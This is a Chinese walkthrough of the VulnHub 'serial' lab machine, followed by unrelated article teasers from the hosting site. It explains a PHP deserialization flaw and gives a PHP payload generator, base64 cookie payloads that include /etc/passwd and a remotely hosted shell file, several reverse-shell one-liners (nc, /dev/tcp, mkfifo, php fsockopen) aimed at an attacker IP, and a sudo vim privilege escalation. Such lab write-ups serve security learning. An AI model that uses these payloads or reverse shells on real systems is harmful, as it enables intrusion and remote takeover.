vulnhub serial讲解

news2024/11/22 16:10:34

环境搭建

下载

https://download.vulnhub.com/serial/serial.zip

 

你会得到一个这样的文件,这里使用VMware新建一个虚拟机,这里记录比较重要的几部分。

 

 

这里就是使用我们刚才下过来的。

 

漏洞过程详解

1.信息收集

netdiscover -i eth0 -r 10.140.98.0/24

nmap通常我喜欢使用sS参数,它相对其他参数扫描速度更快且更加隐蔽,而且不会扫崩一些端口,有80端口访问网页看一下。

 

这里访问已经提示了cookie,这里查看cookie看一下。

F12拦包,这里查看一下,请求头中的cookie,有user这个参数,首先这个名字就有点问题了吧,哈哈哈,接下来就是看内容,大写字母小写字母数字最后一个%3D明显就是等号,这里就可以大胆猜测这是base64编码后的一串字符串。

这里解出来很明显就是一串PHP序列化字符串,那肯定是有文件让你分析的,这里找找没有找到,准备爆破目录。

2.爆破目录

这里使用dirsearch爆破目录,这里访问/backup

这里我们得到了,三个文件这里分析一下。

3.文件分析

这里我们看这三个文件

 index.php

<?php
	include("user.class.php");

	if(!isset($_COOKIE['user'])) {
		setcookie("user", base64_encode(serialize(new User('sk4'))));
	} else {
		unserialize(base64_decode($_COOKIE['user']));
	}
	echo "This is a beta test for new cookie handler\n";
?>

 user.classs.php

<?php
  include("log.class.php");

  class Welcome {
    public function handler($val) {
      echo "Hello " . $val;
    }
  }

  class User {
    private $name;
    private $wel;

    function __construct($name) {
      $this->name = $name;
      $this->wel = new Welcome();
    }

    function __destruct() {
      //echo "bye\n";
      $this->wel->handler($this->name);
    }
  }

?>

 log.class.php

<?php
  class Log {
    private $type_log;

    function __costruct($hnd) {
      $this->$type_log = $hnd;
    }

    public function handler($val) {
      include($this->type_log);
      echo "LOG: " . $val;
    }
  }
?>

         这里分析一下index.php通过cookie会base64解密一次然后进行反序列化,然后 user.classs.php,这里看到他include("log.class.php");。

        这里先观察 log.class.php,这里发现了include这个可以这个好,而且可以我们自己定义他读取文件或者远程命令执行。

        查看他这是定义了一个handler方法,看看那里定义这个方法, user.classs.php中有$this->wel->handler($this->name);,这里修改__construct魔术方法中的$this->wel = new Welcome();为$this->wel = new Log();就可以了。

exp

log.class.php

<?php

  class Log
  {
      private $type_log="/etc/passwd";

      public function __costruct($hnd)
      {
          $this->$type_log = $hnd;
      }

      public function handler($val)
      {
          include($this->type_log);
          echo "LOG: " . $val;
      }
  }

user.class.php

<?php

  include("log.class.php");

  class Welcome
  {
      public function handler($val)
      {
          echo "Hello " . $val;
      }
  }

  class User
  {
      private $name;
      private $wel;

      public function __construct($name)
      {
          $this->name = $name;
          $this->wel = new Log();
      }

      public function __destruct()
      {
          //echo "bye\n";
          $this->wel->handler($this->name);
      }
  }
  $a = new User('adsf', 'asfd');
  $b = urlencode(serialize($a));
  $c = str_replace('%00', '%5Cx00', $b);
  echo urldecode($c)."\n";

这里得到

O:4:"User":2:{s:10:"\x00User\x00name";s:4:"adsf";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:11:"/etc/passwd";}}

这里选择在线网站加密,发现修改cookie以后,并没有没有回显这里解密一下看看。

发现其实这里并没有被解析,这里是因为 private私有的缘故,会有不可见字符,这里用\x00替换了,但是发现这里并没有被解析,感觉是网站加密有问题,这里直接使用python来加密。

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6ImFkc2YiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czoxMToiL2V0Yy9wYXNzd2QiO319

这里再重新解密,发现这里解析了。

 

cookie传
payload:user=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6ImFkc2YiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czoxMToiL2V0Yy9wYXNzd2QiO319

 使用hacker就可以

 

 既然测试可以,这里就尝试远程包含,这里在本地搭建一个网站,在网站根目录下面写一个shell.txt,这里我原本使用的shell.php但是没有成功,之后想想应该是他远程包含,访问这个站但是php是后端语言所以前端是没有的,但是有的人疑惑为什么txt会可以,因为include是按php执行的。

 

O:4:"User":2:{s:10:"\x00User\x00name";s:4:"adsf";s:9:"\x00User\x00wel";O:3:"Log":1:{s:13:"\x00Log\x00type_log";s:30:"http://10.140.98.245/shell.txt";}}

payload:user=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6ImFkc2YiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czozMDoiaHR0cDovLzEwLjE0MC45OC4yNDUvc2hlbGwudHh0Ijt9fQ==

4.反弹shell

 这里我们尝试反弹shell,这里尝试了。

nc 10.140.98.245 4444 -e /bin/bash

bash -i >& /dev/tcp/10.140.98.245/4444 0>&1

/bin/sh 0</tmp/backpipe | 10.140.98.245 4444 1>/tmp/backpipe

mknod backpipe p && telnet 10.140.98.245 4444 0<backpipe | /bin/bash 1>backpipe


上面都不行,下面这个可以。

php -r '$sock=fsockopen("10.140.98.245",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
url编码一下
php%20-r%20%27%24sock%3Dfsockopen%28%2210.140.98.245%22%2C4444%29%3Bexec%28%22/bin/bash%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.140.98.245 4444 >/tmp/f
url编码一下
rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7C/bin/bash%20-i%202%3E%261%7Cnc%2010.140.98.245%204444%20%3E/tmp/f

whoami看一下,额是一个低权限用户。。

在根目录发现一个文件credentials.txt.bak

通常我们都对bak这种后缀的比较敏感,这种通常都是一些备份文件。

这里我们得到了sk4用户这个密码。

还是没有权限。

这里sudo -l发现一个好东西 NOPASSWD: /usr/bin/vim

 这里输入命令sudo vim

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/87395.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]Node.js计算机毕业设计调查问卷及调查数据统计系统Express

项目运行 环境配置&#xff1a; Node.js最新版 Vscode Mysql5.7 HBuilderXNavicat11Vue。 项目技术&#xff1a; Express框架 Node.js Vue 等等组成&#xff0c;B/S模式 Vscode管理前后端分离等等。 环境需要 1.运行环境&#xff1a;最好是Nodejs最新版&#xff0c;我…

【论文】Auto-Encoding Variational Bayes

1.预备概念 1.1 后验分布 最大后验&#xff08;Maximum a Posteriori&#xff0c;MAP&#xff09;概率估计详解 【参考文章】https://blog.csdn.net/fq_wallow/article/details/104383057 1.2 重参数 Reparameterization 目的是&#xff1a; 转为公式表达从而实现微分 知乎…

编辑部已成羊村,这几天幸亏有ChatGPT(doge)

梦晨 羿阁 发自 凹非寺量子位 | 公众号 QbitAI坏事了&#xff0c;AI真的来抢饭碗了。还是我的饭碗&#xff01;这两天你们看的推送&#xff0c;有些标题是AI帮忙取的&#xff0c;有些文章甚至由AI完成了主要工作。我呢&#xff1f;我不过是打打下手&#xff0c;加些过渡句&…

RS485总线详解

RS485总线详解前言一、常见接口划分二、RS485概述&#xff08;一&#xff09;简介&#xff08;二&#xff09;接口/引脚图三、RS485总线详解&#xff08;一&#xff09;RS485总线概述&#xff08;二&#xff09;差分传输&#xff1a;&#xff08;三&#xff09;原理图&#xff…

基于51单片机的超声波测距系统设计

功能&#xff1a; 超声波测距仪&#xff0c;测量距离&#xff0c;用LCD12864显示信息。 lcd_writestr(0,0," 超声波测距仪 "); lcd_writestr(1,0,"&#xff0a;&#xff0a;&#xff0a;&#xff0a;&#xff0a;&#xff0a;&#xff0a;&#xff0a;");…

商场中央空调工程-商场商铺中央空调安装常见问题解答

商场中央空调工程-商场商铺中央空调安装常见问题解答 为了提高装修档次&#xff0c;提高舒适度&#xff0c;为顾客营造一个相对舒适的购物环境&#xff0c;很多门店都会选择安装中央空调。刚接触门店中央空调安装的客户会有很多疑问。例如&#xff0c;商店安装的中央空调和家用…

Android消息机制与源码剖析(Looper,Message,MessageQueue以及Handler)

Android消息机制 文章目录Android消息机制消息传递与处理的流程&#xff08;配图示&#xff09;1.【入口】 在 ActivityThread.class 的 main() 方法&#xff0c;为主线程创建 Looper&#xff0c;并开启 loop() 循环2.【创建Looper】通过 Looper.prepareMainLooper() 创建主线程…

MySQL如何快速恢复单表(物理方式)

GreatSQL社区原创内容未经授权不得随意使用&#xff0c;转载请联系小编并注明来源。GreatSQL是MySQL的国产分支版本&#xff0c;使用上与MySQL一致。作者&#xff1a;xryz文章来源&#xff1a;社区投稿 使用方法 1、首先创建一个测试表test1&#xff0c;并插入几条数据&#x…

DataParallel里为什么会显存不均匀以及如何解决

作者&#xff1a;台运鹏 (正在寻找internship...)主页&#xff1a;https://yunpengtai.top鉴于网上此类教程有不少模糊不清&#xff0c;对原理不得其法&#xff0c;代码也难跑通&#xff0c;故而花了几天细究了一下相关原理和实现&#xff0c;欢迎批评指正&#xff01;关于此部…

商品上下游第六讲-交易中心-商品秒杀

交易中心-商品秒杀设计 文章目录 交易中心-商品秒杀设计1、项目背景2、主要技术3、项目职责4、项目实现4.1、需求分析4.2、核心流程4.3、关键链路技术方案4.4、库存处理方式1、库存超卖问题订单层面的控制4.5、限流,熔断,降级4.6、超职购小程序—接口梳理4.7、缓存的设计4.8、…

mybatis入门(一)

什么是 MyBatis &#xff1f; MyBatis 是一款优秀的持久层框架&#xff0c;它支持定制化 SQL、存储过程以及高级映射。MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。MyBatis 可以使用简单的 XML 或注解来配置和映射原生信息&#xff0c;将接口和 Java 的…

如何使用匈牙利算法解决多维度的约束条件问题

&#x1f37f;*★,*:.☆欢迎您/$:*.★* &#x1f37f; 正文 假设 一个项目 有三个 维度的参数 A B C 都要 组合后最小 分别求解 a b c 三个维度的最优组合 如果三个组合方案刚好 重叠 那么说明有一个使得三个方案最优的 解 如果没有 那么若选择某个方案 其他维度的参数 的值 是…

直播倒计时 2 天 | SOFAChannel#31 RPC 框架设计的考和量

SOFARPC 是蚂蚁集团开源的一款基于 Java 实现的 RPC 服务框架&#xff0c;为应用之间提供远程服务调用能力&#xff0c;具有高可伸缩性&#xff0c;高容错性&#xff0c;目前蚂蚁集团所有的业务的相互间的 RPC 调用都是采用 SOFARPC。SOFARPC 为用户提供了负载均衡&#xff0c;…

Android -- 每日一问:回调函数和观察者模式的区别?

知识点 观察者模式 网上很容易查到观察者模式的定义&#xff1a; 观察者模式定义了对象间的一种一对多依赖关系&#xff0c;使得每当一个对象改变状态&#xff0c;则所有依赖于它的对象都会得到通知并被自动更新。 Android中大量的使用了观察者模式。你可能已经用过ListView…

基于51单片机的舞蹈机器人步进机仿真设计

程序运行图&#xff1a; 仿真原理图&#xff1a; 部分程序&#xff1a; #include "reg51.h" #include "intrins.H" //8步式步进电机脉冲序列 //unsigned char steps[8] {0x77,0x33,0xbb,0x99,0xdd,0xcc,0xee,0x66}; unsigned char steps[8] {0x2,0x…

Vue2快速入门

Vue 介绍 Vue 是一套构建用户界面的渐进式前端框架只关注视图层&#xff0c;并且非常容易学习&#xff0c;还可以很方便的与其它库或已有项目整合通过尽可能简单的API来实现响应数据的绑定和组合的视图组件特点易用&#xff1a;在有HTML CSS JavaScript的基础上&#xff0c;快速…

拓扑排序(数据结构之图的应用)

我们先搞清楚一个概念&#xff1a; 什么是出度与入度&#xff1f; 在有向图中&#xff0c;箭头是具有方向的&#xff0c;从一个顶点指向另一个顶点&#xff0c;这样一来&#xff0c;每个顶点被指向的箭头个数&#xff0c;就是它的入度。从这个顶点指出去的箭头个数&#xff0c…

不锈钢风淋室的使用需要注意哪些事项

风淋室的使用需要注意哪些事项 一、风淋室的操作说明&#xff1a; 1) 接通380V&#xff0c;50HZ电源(L1、L2、L3-火线&#xff0c;N-零线&#xff0c;E-接地线)&#xff0c;打开工作、照明开关&#xff0c;确认风机与照明工作正常&#xff0c;此时&#xff0c;风/货淋室处于初…

原创 | Attention is all you need 论文解析(附代码)

作者&#xff1a;杨金珊审校&#xff1a;陈之炎本文约4300字&#xff0c;建议阅读8分钟“Attention is all you need”一文在注意力机制的使用方面取得了很大的进步&#xff0c;对Transformer模型做出了重大改进。目前NLP任务中的最著名模型&#xff08;例如GPT-2或BERT&#x…

【数集项目之 MCDF】(四) 整形器 formatter

根据上一章的arbiter结构图&#xff0c;结合设计文档中MCDF的整体结构图&#xff0c;可以发现formatter整形器模块是arbiter的上级&#xff0c;负责最终的数据输出&#xff0c;与外界数据接收端相连。 第一节 fromatter文档理解 设计文档formatter的部分时序介绍如下 如图所示…